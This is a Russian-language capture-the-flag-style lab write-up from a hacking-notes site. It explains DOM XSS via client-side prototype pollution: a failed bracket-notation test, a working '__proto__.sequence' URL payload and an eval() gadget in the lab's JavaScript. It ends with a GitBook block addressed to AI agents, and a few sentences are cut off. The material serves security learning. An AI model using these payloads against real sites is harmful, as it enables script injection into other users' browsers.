> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md).

# DOM XSS через альтернативный вектор загрязнения прототипа

### DOM XSS через альтернативный вектор загрязнения прототипа

#### Контекст лабораторной работы

Приложение выполняет JavaScript на стороне браузера и строит определённые объекты из настроек URL. Цель — **загрязнить `Object.prototype`** (то есть внедрить свойство, которое будет унаследовано другими объектами), а затем найти \*\*

#### Анализ источника загрязнения

**Первичный тест (не работает)**

Первый тест — внедрить свойство через URL:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

После проверки консоли:

```javascript
console.log({}.foo)
```

Результат — `undefined`, и в `Object.prototype`.

<figure><img src="/files/4b8e9b99bcc0ad9bdec8ac864bcb634b40ad1b20" alt="" width="563"><figcaption></figcaption></figure>

Заключение: Парсер параметров, используемый приложением \*\*, не обрабатывает запись со скобками\*\* для `__proto__`.

```javascript
Object.prototype
```

<figure><img src="/files/c994fdd6757a41416308e2fd40e765e454cd4faf" alt=""><figcaption></figcaption></figure>

**Рабочий альтернативный вектор**

Используя запись с точкой:

```javascript
?__proto__.foo=bar
```

На этот раз:

```javascript
console.log({}.foo)
```

Возвращает корректно `bar`.

<figure><img src="/files/3f4ef0132ec6091cd2b4e59a4e9f0b42eb28d514" alt="" width="563"><figcaption></figcaption></figure>

`Object.prototype` загрязнение работает с этим форматом, что указывает на то, что парсер принимает `__proto__.key` запись.

#### Идентификация гаджета

У `searchLoggerAlternative.js` файл содержит следующий код:

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Не удалось сохранить запрос");
    }
}

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);
```

Ключевые моменты:

* `manager.sequence` может быть унаследовано из `Object.prototype`.
* Его значение подставляется **непосредственно в цепочку, передаваемую в `eval()`**.
* Проверка типа или содержимого не выполняется.

`eval()` следовательно, является **эксплуатируемым гаджетом**.

#### Эксплуатация

У `sequence` свойство загрязняется в глобальном прототипе:

```javascript
?__proto__.sequence=alert(1) -
```

Порядок действий:

* `manager.sequence` получает загрязнённое значение из `Object.prototype`.
* У `a + 1` операция превращает цепочку в `alert(1) -1`.
* Это значение внедряется в строку, выполняемую `eval()`.

Результат:

* `alert(1)` выполняется при загрузке страницы.
* У **DOM XSS успешно срабатывает**.

<figure><img src="/files/fe226ff4f5c23f0d3201c4882be47de5714561eb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
